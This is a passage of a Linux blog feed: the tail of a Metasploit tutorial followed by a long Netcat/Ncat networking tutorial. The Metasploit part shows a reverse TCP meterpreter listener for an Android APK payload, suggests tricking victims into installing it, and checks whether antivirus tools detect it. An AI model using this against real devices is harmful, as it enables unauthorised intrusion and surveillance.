LPORT =&gt; 8080
</code></pre>



<p>Now you can run this exploit to start listening in for connections – </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #ff521b;" class="stk-highlight">multi/handler</span>) &gt; run
&#091;*] Started reverse TCP handler on 192.168.74.128:8080</code></pre>



<p>The meterpreter session will start as soon as the Android device installs the <code>apk</code> file. This concludes how you can create payloads with the <code>msfvenom</code> tool. You can send this <code>apk</code> out and ask the victims to install it by social engineering or go install it yourself if you have physical access. Bear in mind that violation of privacy and system penetration without permission is illegal and we suggest you use these techniques ethically for learning purposes only.  </p>



<h2 id="checking-if-your-payload-can-evade-anti-virus-programs" class="wp-block-heading"><a id="post-3536-_heading=h.3tbugp1"></a>Checking if your payload can evade anti-virus programs</h2>



<p>We’ve already told you how you might try to evade the anti-virus software. Let’s have some fun now. We’ll check how many viruses can detect our <code>apk</code> payload that we just created.  </p>



<figure class="wp-block-image"><img loading="lazy" decoding="async" width="1899" height="945" src="https://nooblinux.com/wp-content/uploads/2022/02/word-image-2.png" alt="" class="wp-image-3540" srcset="https://nooblinux.com/wp-content/uploads/2022/02/word-image-2.png 1899w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-300x149.png 300w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-1024x510.png 1024w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-768x382.png 768w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-2-1536x764.png 1536w" sizes="auto, (max-width: 1899px) 100vw, 1899px" /></figure>



<p>The result is phenomenal. Or, there might be something wrong here! The VirusTotal website might not properly work for the APK files. Whatever it may be, you now know how to create custom payloads for penetration testing.  </p>



<h1 id="conclusion" class="wp-block-heading"><a id="post-3536-_heading=h.28h4qwu"></a>Conclusion</h1>



<p>In this tutorial, you learned about Metasploit Framework from the basics to the advanced level. You can experiment and practice to learn more on your own. </p>



<p>We showed you how to use Metasploit on an intentionally vulnerable machine Metasploitable 2. In reality, these types of backdated and vulnerable machines might not be present nowadays. However, there are so many vectors from where an attack might be possible. Keep on learning. </p>



<p>Remember to use your knowledge for the good. We hope you liked our tutorial. If you have something you’d like to ask, feel free to leave a comment. We’ll get back to you as soon as possible. </p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/metasploit-tutorial/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3536</post-id>	</item>
		<item>
		<title>How to Use The Netcat (nc) Command: An In-Depth Tutorial</title>
		<link>https://nooblinux.com/how-to-use-netcat/</link>
					<comments>https://nooblinux.com/how-to-use-netcat/#comments</comments>
		
		<dc:creator><![CDATA[Mahmud Hasan Saikot]]></dc:creator>
		<pubDate>Mon, 18 Oct 2021 22:40:57 +0000</pubDate>
				<category><![CDATA[Linux Commands]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[netcat]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3208</guid>

					<description><![CDATA[Netcat is one of the most versatile networking tools for system administrators – it is called the Swiss army knife of Networking. This tool can be used for creating any connections over TCP or UDP protocol which makes it an excellent debugging tool. It helps the user investigate connections directly by connecting to them. Netcat [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p><strong>Netcat</strong> is one of the most versatile networking tools for system administrators – it is called the <strong>Swiss army knife of Networking</strong>.</p>



<p>This tool can be used for creating any connections over TCP or UDP protocol which makes it an excellent debugging tool. It helps the user investigate connections directly by connecting to them.</p>



<p><strong>Netcat</strong> can also perform <em>port scanning</em>, <em>file transfer</em>, and sometimes it might be used by the hackers or penetration testers for <em>creating a backdoor into a system</em>.</p>



<p>In this tutorial, we’ll be covering the <strong>Netcat utility</strong> or <code>nc</code> command in detail.</p>



<p class="black-bg"><strong>Netcat</strong> was developed back in 1995. Despite its usefulness and popularity, it was not maintained. Many other versions of it have been developed since then. One of the most prominent among them is called <code>Ncat</code>, developed by the <strong>Nmap project</strong>.<br><br><strong>Ncat</strong> expands on the features of the traditional <strong>Netcat</strong> package. We’ll also touch on some of the functionalities of this tool.<br><br>However <strong>Ncat </strong>lacks the port scanning feature that Netcat has. This is because <strong>Nmap</strong> can already be has much more advanced port scanning capabilities.</p>



<p>I have installed <strong>Ncat</strong> and will be using it this tutorial, but I&#8217;ll refer to the software by both <strong>Ncat&nbsp;</strong>or&nbsp;<strong>Netcat</strong>.</p>






<h2 id="installing-traditional-netcat-ncat" class="wp-block-heading">Installing traditional Netcat &amp; Ncat</h2>



<p><strong>Netcat</strong> is available for Linux, Windows, and macOS.</p>



<p>If you’re running a Linux machine, chances are Netcat is already installed. However, you do need to install Netcat in other operating systems.</p>



<p><strong>Ncat</strong> is not available on any of the operating systems by default, so we&#8217;ll have to install it no matter what OS we&#8217;re using.</p>



<h3 id="installing-ncat-on-linux" class="wp-block-heading">Installing Ncat on Linux</h3>



<p>If you’re running Debian or Ubuntu-based systems, you can install it using the <strong>apt</strong> utility. To install&nbsp;<strong>ncat</strong> run:</p>



<pre class="wp-block-code prompt"><code>sudo apt-get install ncat</code></pre>



<p>On Redhat or CentOS-based distros, you can use <code>yum</code>. To install&nbsp;<strong>ncat</strong> run:</p>



<pre class="wp-block-preformatted promptrhel">sudo yum install ncat</pre>



<p class="neon-border"><strong>Notice:</strong> If you install&nbsp;<strong>Ncat</strong> then the <code>nc</code> or <code>netcat</code> command will use <strong>Ncat</strong> by default.<br><br>Installing <strong>Ncat</strong> will allow all the functionalities of the traditional <strong>Netcat</strong> and much more. </p>



<h3 id="installing-ncat-on-windows" class="wp-block-heading">Installing Ncat on Windows</h3>



<p>You can install Ncat on Windows by installing Nmap &#8211; and it will be installed alongside it.</p>



<p>To install Nmap you&#8217;ll use their self-installer, which you can find here <a href="https://nmap.org/download.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://nmap.org/download.html<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. Find and download the latest stable self-installer, which looks something like this <code>nmap--setup.exe</code>, and then run it after it&#8217;s downloaded.</p>



<h3 id="installing-ncat-on-mac-os-x" class="wp-block-heading">Installing Ncat on MAC OS X</h3>



<p>You should be able to get <strong>Ncat</strong> installed alongside Nmap. To install Nmap on Mac OS X you can check the <a href="https://nmap.org/book/inst-macosx.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">installation instructions on Nmap.org<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>You can also find a very short section with instructions on <a href="https://bytexd.com/how-to-use-nmap/#install-nmap-on-mac-os-x" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">how to install Nmap on Mac OS X in our Nmap tutorial<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, should you have issues with the instructions on their site.</p>



<h3 id="installing-ncat-on-android-with-termux" class="wp-block-heading">Installing Ncat on Android with Termux</h3>



<p>Assuming that you already have Termux installed on your Android, you can install <strong>Ncat</strong> by installing Nmap.</p>



<p>To do this update your package index:</p>



<pre class="wp-block-preformatted prompt">apt update</pre>



<p>Then install Nmap by running:</p>



<pre class="wp-block-preformatted prompt">pkg install nmap</pre>



<h2 id="basics-of-connections-with-netcat" class="wp-block-heading">Basics of connections with Netcat</h2>



<p>Before we learn how to use the tool, let’s learn some basics of how it works.</p>



<p>Netcat can produce different types of connections based on how you use it. Traditional <code>nc</code> command will only work over the <strong>TCP</strong> and <strong>UDP</strong> protocol. However, the <strong>Ncat</strong> command supports <code>SSL</code>, <code>IPv6</code>, etc.</p>



<p>You can think of Netcat to be performing the tasks of both the client and the server in a Client-Server based connection model. You can read more about this model in our tutorial, <a href="https://bytexd.com/basics-http-requests-curl-tutorial/#basics-of-http-requests-responses" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Basics of HTTP Requests with cURL<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, under the <strong>Basics of HTTP Requests &amp; Responses</strong> section.</p>



<p class="black-bg">In short, you can create a server listening in any port and a client connecting to any port with Netcat.</p>



<p>Let’s see how to create a client and a server with Netcat.</p>



<h3 id="creating-a-client-with-netcat" class="wp-block-heading">Creating a client with Netcat</h3>



<p>If you’re reading this tutorial, then most likely you’re using some browser. Your browser work as <strong>a client</strong> to get the page from our <code>nooblinux.com</code> server.</p>



<p>You can <strong>create a client</strong> by connecting to any host and port you like with Netcat.</p>



<p><strong>Netcat</strong> has a basic syntax of:</p>



<pre class="wp-block-preformatted prompt">nc [options] host port</pre>



<p>You can use the <code>-n</code> flag to enter numeric-only or the IP address of the host; which will bypass the DNS name resolution:</p>



<pre class="wp-block-preformatted prompt">nc -n [IP address] port</pre>



<p>Type in the hostname or IP address and Port with the <code>nc</code> command to create a client:</p>



<pre class="wp-block-preformatted prompt">nc -v example.com 80</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.</pre>



<p class="neon-border"><strong>Note:</strong> I&#8217;m using <strong>Ncat</strong> throughout this article. If you&#8217;re using&nbsp;<strong>Netcat</strong>, your output for the above command may look like this:<br><br><code>Connection to example.com 80 port [tcp/http] succeeded!</code></p>



<p class="purple-border">Here, we created a client with Ncat connecting to the <strong>example.com</strong> server on port 80.<br><br>Once you run this command <strong>you’ll see nothing is happening</strong> after this.<br><br>This just means that you’ve connected with the server.<br><br>It might feel unusual because most of us are used to a <strong>prompt symbol</strong> that indicates the system&#8217;s readiness to perform the next command, but this is just how it works with Netcat/Ncat.</p>



<p>Now you can request the server and then get a response.</p>



<p>Let’s try to send something to the server.</p>



<p>Type in some text after the output texts shown above and <strong>hit Enter twice</strong> (this is because some requests require multiple lines, so the first <code>Enter</code> is a newline, and the second one it sends the request). It can be any text. I&#8217;ll just write <code>hi</code>.</p>



<p>Let’s see what response we get from the server:</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Warning: inverse host lookup failed for 93.184.216.34: Unknown host
example.com [93.184.216.34] 80 (http) open
hi

HTTP/1.0 501 Not Implemented 
Content-Type: text/html 
Content-Length: 357 
Connection: close 
Date: Sat, 10 Jul 2021 20:07:39 GMT 
Server: ECSF (dcb/7F60) 

&amp;lt;?xml version="1.0" encoding="iso-8859-1"?&amp;gt; 
&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;
&amp;lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"&amp;gt;
&amp;lt;head&amp;gt; 
&amp;lt;title&amp;gt;501 - Not Implemented&amp;lt;/title&amp;gt; 
&amp;lt;/head&amp;gt; 
&amp;lt;body&amp;gt; 
&amp;lt;h1&amp;gt;501 - Not Implemented&amp;lt;/h1&amp;gt; 
&amp;lt;/body&amp;gt; 
&amp;lt;/html&amp;gt; 
</pre>



<p>We sent <code>hi</code> to the server and then the server sent us the response that you can see in the output. The server sent us the Status code <code>501 Not Implemented</code> which means the server does not support the functionality to fulfill our request.</p>



<p>That’s a given. Let’s request something that a server understands.</p>



<h4 id="http-requests-with-netcat" class="wp-block-heading">HTTP Requests with Netcat</h4>



<p>If you know anything about HTTP requests then you should know that your browser performs a GET request to show you a webpage. After you have connected to the server, your browser sends special messages to the server with the request and the server responds accordingly.</p>



<p>cURL is a very good utility that can perform any HTTP requests (we also have a tutorial on cURL if you&#8217;re interested <a href="https://bytexd.com/basics-http-requests-curl-tutorial/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Basics of HTTP Requests with cURL: An In-Depth Tutorial<span class="wpel-icon wpel-image wpel-icon-19"></span></a>).</p>



<p>Let’s find out what it sends to get a response back from the server.</p>



<p>Run the <code>curl</code> command in a verbose mode (<code>-v</code>) and set the <code>-I</code> flag or <code>--head</code> option to only see the Request and Response Headers:</p>



<pre class="wp-block-preformatted prompt">curl -v -I example.com</pre>


<div class="codeblock-title">Output</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="1-3,5-9" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">*   Trying 93.184.216.34:80...
* TCP_NODELAY set
* Connected to example.com (93.184.216.34) port 80 (#0)

> HEAD / HTTP/1.1
> Host: example.com
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
&lt; HTTP/1.1 200 OK
HTTP/1.1 200 OK
&lt; Accept-Ranges: bytes
Accept-Ranges: bytes
&lt; Age: 443586
Age: 443586
&lt; Cache-Control: max-age=604800
Cache-Control: max-age=604800
&lt; Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
&lt; Date: Sat, 10 Jul 2021 20:16:51 GMT
Date: Sat, 10 Jul 2021 20:16:51 GMT
&lt; Etag: "3147526947"
Etag: "3147526947"
&lt; Expires: Sat, 17 Jul 2021 20:16:51 GMT
Expires: Sat, 17 Jul 2021 20:16:51 GMT
&lt; Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
&lt; Server: ECS (dcb/7F38)
Server: ECS (dcb/7F38)
&lt; X-Cache: HIT
X-Cache: HIT
&lt; Content-Length: 1256
Content-Length: 1256

&lt;
* Connection #0 to host example.com left intact</pre>



<p>As you can see in the output, lines <strong>1 to 3</strong> are the Connection part. The next section, lines <strong>5 to 9</strong>,&nbsp; is the request that curl, which in this case is our client, sent to the server. The later section is the <strong>Response Header</strong> that the server sent back.</p>



<p>Now, when you’re running Netcat, the <strong>lines 1 to 3</strong> portion is being performed at first. Then you can talk to the server. Let’s generate the same response using Netcat.</p>



<p>To get the response from the server, we have to craft the request message first. The head request portion of the output from the curl command is:</p>


<div class="codeblock-title">HEAD Request</div>



<pre class="wp-block-preformatted">HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*</pre>



<p>Now let’s connect Netcat to <strong>example.com</strong> again.</p>



<pre class="wp-block-preformatted prompt">nc -v example.com 80</pre>



<p>Now copy and paste the above portion (the GET Request), after the the <code>Ncat: Connected to 93.184.216.34:80</code>. output, in the Netcat terminal and hit <code>Enter</code> twice.</p>


<div class="codeblock-title">Request (lines 3-6), along with output (lines 8-19)</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3-6" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.
HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*

HTTP/1.1 200 OK
Age: 594540
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Sat, 10 Jul 2021 22:33:44 GMT
Etag: "3147526947+ident"
Expires: Sat, 17 Jul 2021 22:33:44 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EA3)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256</pre>



<p>This is great! You’ve just got the same <strong>Request and Response Headers</strong> that you got using cURL as your client.</p>



<p class="neon-border"><strong>Important:</strong> At first glance this response may not look the same as with cURL, because the cURL response has duplicate lines &#8211; if you look closely, the responses are near identical.</p>



<p>Let’s try <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">OPTIONS<span class="wpel-icon wpel-image wpel-icon-19"></span></a> request instead of <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">HEAD<span class="wpel-icon wpel-image wpel-icon-19"></span></a> request. This time we’ll just type the request in, since it&#8217;s shorter.</p>



<p>First we&#8217;ll connect to the&nbsp;<strong>example.com</strong> server.</p>



<pre class="wp-block-preformatted prompt">nc -v example.com 80</pre>



<p>We&#8217;ll get the usual output:</p>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.</pre>



<p>After which we&#8217;ll just write the OPTIONS request <code>OPTIONS / HTTP/1.0</code> and press <code>Enter</code> twice:</p>


<div class="codeblock-title">Request (line 3) and Output after that</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.
OPTIONS / HTTP/1.0

HTTP/1.0 200 OK
Allow: OPTIONS, GET, HEAD, POST
Date: Sun, 11 Jul 2021 11:34:16 GMT
Server: ECS (dcb/7F14)
Content-Length: 0
Connection: close</pre>



<h4 id="using-printf-and-piping-with-netcat" class="wp-block-heading">Using Printf and Piping with Netcat</h4>



<p class="orange-border"><strong>Important Note: </strong>Sometimes you might get some error while typing the requests inside Netcat. That is because HTTP requests require certain formatting with <strong>Line Endings</strong>.<br><br>There also may be other reasons that your requests don&#8217;t work, as such it&#8217;s good to know that you have an alternative method of making requests and sending them through Netcat.</p>



<p>You can also try any request <strong>piping the output of printf</strong> command into Netcat.</p>



<p>To do this, run the following command outside of Netcat:</p>



<pre class="wp-block-preformatted prompt">printf "HEAD / HTTP/1.1\r\nUser-Agent: curl/7.74.0\r\nHost: example.com\r\nAccept: */*\r\n\r\n" | nc example.com 80</pre>



<p>In this command, <code>\r</code> create the new lines for the HTTP request.</p>



<p>These are called carriage return (<strong>cr</strong>) and line feed (<strong>lf</strong>). These names are derived from the age of typewriters.</p>



<p>You basically sent the same HEAD request as before, but wrote it on one line.</p>



<pre class="wp-block-preformatted">HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*</pre>



<p>Becomes:</p>



<pre class="wp-block-preformatted">HEAD / HTTP/1.1\r\nUser-Agent: curl/7.74.0\r\nHost: example.com\r\nAccept: */*\r\n\r\n</pre>



<p>After that, we use the <code>printf</code> command (<strong>print f</strong>ormatted), which properly formats our the request, so then we pass it on to Netcat through <a href="https://www.geeksforgeeks.org/piping-in-unix-or-linux/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">piping (the | symbol)<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<h3 id="creating-a-server-with-netcat" class="wp-block-heading">Creating a Server with Netcat</h3>



<p>In previous sections, we showed you how to create a client with Netcat.</p>



<p class="neon-border">You essentially learned what a browser does to request a webpage from the server.</p>



<p>Now we’ll show you how the server responds with the help of Netcat.</p>



<p>Netcat can start listening on any port you specify. This is what gives it the ability to create a server on the fly.</p>



<p>Let’s learn how to listen on a port with netcat before we get started.</p>



<h4 id="listening-on-a-port-with-netcat" class="wp-block-heading">Listening on a port with Netcat</h4>



<p>You can see the available options Netcat offers by simply typing in <code>nc -h</code>. By default, netcat creates TCP connections. You can create UDP connections using the <code>-u</code> flag. However, we’ll use the default TCP connection for now.</p>



<p>The <code>-l</code> flag can be used for listening and the <code>-p</code> flag is for specifying the port to listen on.</p>



<p>Let’s look at an example. We’ll make netcat listen on port 4000 by combining the two flags together:</p>



<pre class="wp-block-preformatted prompt">nc -lp 4000</pre>



<p>This command will make netcat start listening on port 4000. But you&#8217;ll only see the cursor blinking.</p>



<p>You can use the keyboard interrupt <strong>CTRL + C</strong> to stop the command.</p>



<p>Let’s turn on the verbose output by combining the <code>-v</code> flag:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now you will see netcat telling you that it’s listening on port 4000. This is how you start listening on any port.</p>



<h4 id="creating-a-simple-web-server-with-netcat" class="wp-block-heading">Creating a simple web server with Netcat</h4>



<p>Now that you know how to listen on ports with Netcat, let’s try to create a simple webserver with netcat. You’ll learn how a server responds to a client in this section.</p>



<p>First, let’s start a Netcat listening on port 5000 in verbose mode:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 5000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::5000
Ncat: Listening on 0.0.0.0:5000</pre>



<p>Now fire up your browser and try connecting on this port. Type <code>localhost:5000/</code> in your browser. Hit enter and take a look at your terminal window running Netcat. You&#8217;ll see the browser request directly showing up in your Netcat terminal:</p>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:46830.
GET / HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
</pre>



<div class="wp-block-group purple-border is-layout-flow wp-block-group-is-layout-flow">
<p><strong>Side note</strong>: You can tell from the <strong>User-Agent</strong> value, which is <code>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</code>. You can also use a tool that analyzes user agent strings such as this <a href="https://developers.whatismybrowser.com/useragents/parse/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://developers.whatismybrowser.com/useragents/parse/<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, to find out. Just paste in the user agent string in the input field and click <code>Parse this user agent</code>.<br><br></p>



<p>Interesting, isn’t it? Can you guess which browser I’m using? It’s Firefox 89 on Ubuntu Linux.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="514" src="https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1.webp" alt="" class="wp-image-3468" srcset="https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1.webp 1024w, https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1-300x151.webp 300w, https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1-768x386.webp 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
</div>



<p>Now that the client (Firefox) has requested the server (netcat) you can do more cool things.</p>



<p>You can start typing in the response Firefox will get.</p>



<p>However, you need to speak the language of the browser! Otherwise, you won’t see the output.</p>



<p>Remember the response Header we got from example.com in the previous section? Let’s take a look:</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="1,4,9" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">HTTP/1.1 200 OK
Age: 594540
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Sat, 10 Jul 2021 22:33:44 GMT
Etag: "3147526947+ident"
Expires: Sat, 17 Jul 2021 22:33:44 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EA3)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256</pre>



<p>As always, the status code is the first line of the response. We do not require all of the responses, however.</p>



<p>We’ll just use the Status code, Content-Type and Server, which I&#8217;ve highlighted.</p>



<p>With that let’s try to construct our server message:</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux</pre>



<p>After typing this in hit enter twice and create a new empty line.</p>



<p>Next, you’ll type in the HTML page yourself and see it showing up on the browser in real-time! We’ll create a title for our page in real-time. If you know the HTML you can do it yourself. You can also copy this in your terminal.</p>



<p>The message should look something like this:</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

&lt;!doctype html&gt;
&lt;title&gt;NoobLinux&lt;/title&gt;</pre>



<p>Hit enter and you’ll see the browser tab change from <code>localhost:5000</code> to <code>NoobLinux</code>. Here&#8217;s a quick video of me doing that, in case this is a bit confusing:</p>



<a href="https://nooblinux.com/how-to-use-netcat/" data-wpel-link="internal"><img decoding="async" src="https://nooblinux.com/wp-content/plugins/wp-youtube-lyte/lyteCache.php?origThumbUrl=%2F%2Fi.ytimg.com%2Fvi%2Fq-eg3VFlM1E%2Fhqdefault.jpg" alt="YouTube Video"></a><br /><br /></p>



<p>Cool! Now let’s do more. Create a heading with <code>&lt;h1&gt;&lt;/h1&gt;</code> tags.</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

&lt;!doctype html&gt;
&lt;title&gt;NoobLinux&lt;/title&gt;
&lt;h1&gt;Can you see me?&lt;/h1&gt;</pre>



<p>Hit enter and voila! You’ll see the heading appearing in the browser in real-time.</p>



<figure class="wp-block-image alignnone size-full size-large wp-image-4401"><img loading="lazy" decoding="async" width="898" height="416" src="https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me.png" alt="" class="wp-image-3336" srcset="https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me.png 898w, https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me-300x139.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me-768x356.png 768w" sizes="auto, (max-width: 898px) 100vw, 898px" /><figcaption>Added &#8220;&lt;h1&gt;Can you see me?&lt;/h1&gt;&#8221;</figcaption></figure>



<p>You can keep playing like this and the browser will show output according to your messages.</p>



<p>Lastly, we&#8217;ll do a final example where we add a photo:</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

&lt;!doctype html&gt;
&lt;title&gt; NoobLinux &lt;/title&gt;
&lt;h1&gt;Can you see me?&lt;/h1&gt;
&lt;img src="https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/Image_created_with_a_mobile_phone.png/1280px-Image_created_with_a_mobile_phone.png"&gt;</pre>



<figure class="wp-block-image alignnone size-large wp-image-4402"><img loading="lazy" decoding="async" width="1024" height="539" src="https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-1024x539.png" alt="" class="wp-image-3341" srcset="https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-1024x539.png 1024w, https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-300x158.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-768x404.png 768w, https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1.png 1165w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>Added an image from Wikimedia Commons in the HTML.</figcaption></figure>



<h3 id="communicating-over-ssl-with-ncat" class="wp-block-heading">Communicating over SSL with Ncat</h3>



<p>You can receive as well as create any connections over TCP and UDP protocols with Netcat. The traditional Netcat does not support SSL encryption and HTTPS. Ncat, however, comes with SSL support.</p>



<p>We can activate it by using the <code>--ssl</code> flag. If you haven’t installed Ncat, <a href="https://nooblinux.com/how-to-use-netcat/#installing-traditional-netcat-ncat" data-wpel-link="internal">now would be a good time</a>.</p>



<p>Now we&#8217;ll play with sending a HEAD request to <code>github.com</code> and see how to activate SSL support, and what happens when we don&#8217;t.</p>



<p>First we&#8217;ll send a HEAD request like we did in the beginning of the tutorial, to the <code>github.com</code> server, on port <code>80</code>.</p>



<p>We&#8217;ll make the request by sending it from <code>print</code> by <a href="https://nooblinux.com/how-to-use-netcat/#using-printf-and-piping-with-netcat" data-wpel-link="internal">using printf and piping with Netcat</a> (remember when we discussed this earlier).</p>



<pre class="wp-block-preformatted prompt">printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v github.com 80</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 140.82.121.4:80.
HTTP/1.1 301 Moved Permanently
Content-Length: 0
Location: https://github.com/</pre>



<p>You can see that the <strong>github.com</strong> server gives us the <code>status code 301</code>, which means a redirect should be done.</p>



<p>Indeed, the github server accepts connection only with HTTPS or SSL encryption with the HTTP requests.</p>



<p>Let’s try using the port 443 as we know it is for HTTPS.</p>



<pre class="wp-block-preformatted prompt">printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v github.com 443</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 140.82.121.4:443.
Ncat: 37 bytes sent, 0 bytes received in 0.26 seconds.</pre>



<p>It also fails this time. This is because <code>ncat</code> is sending requests without SSL encryption. We have to enable SSL encryption.</p>



<p>Type the following command using the <code>--ssl</code> flag of the Ncat command:</p>



<pre class="wp-block-preformatted prompt">printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v --ssl github.com 443</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: SSL connection to 140.82.121.4:443. GitHub, Inc.
Ncat: SHA-1 fingerprint: 8463 B3A9 2912 CCFD 1D31 4705 989B EC13 9937 D0D7
HTTP/1.1 200 OK
Server: GitHub.com
Date: Mon, 12 Jul 2021 00:38:44 GMT
Content-Type: text/html; charset=utf-8
